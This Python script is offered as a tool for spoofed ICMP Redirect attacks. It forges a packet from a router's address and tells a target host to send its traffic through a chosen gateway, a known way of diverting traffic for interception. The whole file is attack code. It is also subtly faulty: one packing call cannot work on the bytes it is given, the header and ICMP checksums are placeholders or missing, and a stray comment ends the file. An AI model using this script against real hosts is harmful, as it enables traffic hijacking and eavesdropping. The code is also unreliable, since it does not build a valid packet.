import sys
import socket
import struct

def send_icmp_redirect(router_ip, target_ip, redirect_ip):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    except socket.error as e:
        print(f"Failed to create socket: {e}")
        sys.exit()

    icmp_redirect = b'\x05\x00\x05\x00'  
    icmp_redirect += struct.pack('!I', socket.inet_aton(redirect_ip))  
    icmp_redirect += struct.pack('!I', socket.inet_aton(target_ip))    

    icmp_packet = b'\x45\x00\x00\x28'  
    icmp_packet += b'\x00\x00\x40\x00'  
    icmp_packet += b'\x20\x01\x01\x01'  
    icmp_packet += socket.inet_aton(router_ip)  
    icmp_packet += socket.inet_aton(target_ip)  
    icmp_packet += icmp_redirect  

    try:
        sock.sendto(icmp_packet, (target_ip, 0))
        print("ICMP Redirect message sent successfully.")
    except socket.error as e:
        print(f"Failed to send ICMP Redirect message: {e}")
        sys.exit()

def main():
    if len(sys.argv) != 4:
        print("Usage: python3 icmp_redirect.py <router_ip> <target_ip> <redirect_ip>")
        sys.exit()

    router_ip = sys.argv[1]
    target_ip = sys.argv[2]
    redirect_ip = sys.argv[3]
    
    send_icmp_redirect(router_ip, target_ip, redirect_ip)

if __name__ == "__main__":
    main()
# sansjtw